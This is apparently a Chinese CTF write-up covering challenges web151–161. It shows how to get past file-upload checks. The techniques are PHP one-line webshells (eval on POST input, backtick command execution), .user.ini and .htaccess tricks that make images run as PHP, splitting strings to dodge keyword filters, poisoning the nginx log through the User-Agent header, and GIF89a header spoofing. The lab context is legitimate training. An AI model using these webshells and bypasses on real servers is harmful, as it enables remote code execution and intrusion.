文件上传
web151
查看题目告诉我们这是前端校验

那我们修改一句话木马文件后缀为png,然后上传抓包,修改后缀为php

再放行

然后通过蚁剑连接webshell

发现网站根目录下有flag.php,打开获得flag

web152
提示我们这是后端检验,而且要严密

还是一样我们先上传一个png木马,然后抓包。然后发送到repeater里以便我们反复测试

发现修改后缀直接上传成功返回地址了,那后面跟上面一样获得flag
web153

还是先上传png然后抓包发送到repeater
发现直接发送png是能上传成功的

改为php试一下

发现地址变成这个,这个肯定访问不了
修改后缀名为php3,发现成功上传
但是你会发现无论如何都解析不了,phtml也解析不了

这是因为php的配置问题,出题人在配置php的时候并没有说明将phtml或者php3等后缀解析成php,所以会解析失败。
那我们可以尝试看能不能上传.htaccess或者.user.ini文件来覆盖它原本的配置,使得png能解析成php
这里我们先试试.htaccess

发现上传成功,里面的内容意思是匹配到png就将他当作php来解析
然后我们再上传我们的png再尝试用蚁剑连接,发现还是连接不上
想到http.conf文件中设置了 AllowOverried All ,才能使用.htaccess文件。出题人应该是没有开启这个选项
那我们使用.user.ini
先回顾一下.user.ini的使用条件
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
尝试访问index.php

发现能成功访问,说明符合利用前提
那我们上传一下.user.ini

其中文件内容的含义是,无论访问哪个文件都包含一下muma.png
muma.png之前已经上传过了,我们直接用蚁剑连接index.php,然后翻阅目录获得flag

web154

我们还是先尝试上传png木马

发现他对内容进行了检测,很有可能是过滤了<?php,那我们换一种方式写一句话木马
<script language="php">@eval($_POST["cmd"]);</script>

发现这样还是上传失败,尝试一下大小写能不能绕过

发现成功上传,那既然png木马成功上传了,可以看看能不能用.user.ini

发现是有可解析的index.php的
那上传一个跟上面一关一样的.user.ini就好了

尝试用蚁剑连接

发现一直显示数据为空,将前面的payload改成
<?= @eval($_POST['cmd']);?>

发现也能绕过,再尝试连接

果然它直接将那个当作js代码了估计
然后翻阅目录找到flag
web155

还是一样先上传png木马
发现使用上一关的payload能直接上传
<?= eval($_POST['cmd']);
那再试试有没有可执行的index文件
发现有的兄弟有的

那可以再尝试上一关的解法了
成功上传,使用蚁剑连接,翻阅目录获得flag

web156

还是一样先上传一个png木马,然后抓包送到repeater。先正常发送一下

可以发现正常发送也无法上传成功,这说明文件内容中还有东西被过滤了。通过测试发现是[]被过滤了
网上查阅资料发下可以通过下面的方式绕过
<?= @eval($_POST{'cmd'});?>

然后尝试上传.user.ini

发现上传成功,尝试用蚁剑连接,翻阅目录得到flag

web157
还是跟上面的解题步骤一样

但是发现这次{}也被过滤掉了,尝试直接执行system命令获得flag

这里值得一提的是如果结尾不加?>,则语句结尾必须加分号,如果加?>则最后一条语句结尾可以不用分号
然后尝试上传.user.ini

然后尝试直接访问index.php

web158
经过测试,发现POST还是不给用。尝试直接写payload

发现上传成功,再试试能不能上传.user.ini

发现也能上传,那直接访问index.php试试

在源代码中发现了flag。那这题跟上一题没区别啊
web159
还是跟上题一样先上传一个muma.png然后抓包送到repeater里

通过测试可以发现这一次将()给过滤掉了,这样就不能通过system()来执行函数了。
php中还可以通过``中间包含要执行的代码来执行。
<?= `cat ../fl?g*` ?>//此题还过滤了;,直接闭合可以忽略;

然后尝试上传.user.ini

然后尝试访问index.php

成功获得flag
web160
经过测试发现这一次将``,[],{},log,等等都给过滤掉了
这时候可以利用php的特性来读取文件

简单来说使用了php的用.来拼接字符串的特性
比如上面的这个日志文件路径就拆分成了
"/var/lo".
"g/nginx/access.lo".
"g"
拼接以后就剩/var/log/nginx/access.log
这样就绕过了对log的过滤
然后上传.user.ini

尝试访问index.php

发现日志文件被包含了
然后尝试在User-Agent里写入一句话木马

然后就可以尝试用蚁剑连接了

翻阅目录得到flag

web161
经过不断的测试,可以发现即使我们上传的内容为空也上传不成功。并且换成jpg,gif的格式也上传不了。这说明肯定对文件头进行检测了。依次尝试PNG,GIF89a
发现当文件头为GIF89a的时候可以上传成功,然后我们继续尝试上一关的包含日志文件

然后尝试上传.user.ini

然后尝试访问index.php

发现成功读取日志文件,然后在UA头添加上我们的木马,并执行我们想要的命令

成功获得flag
WebView
Android 12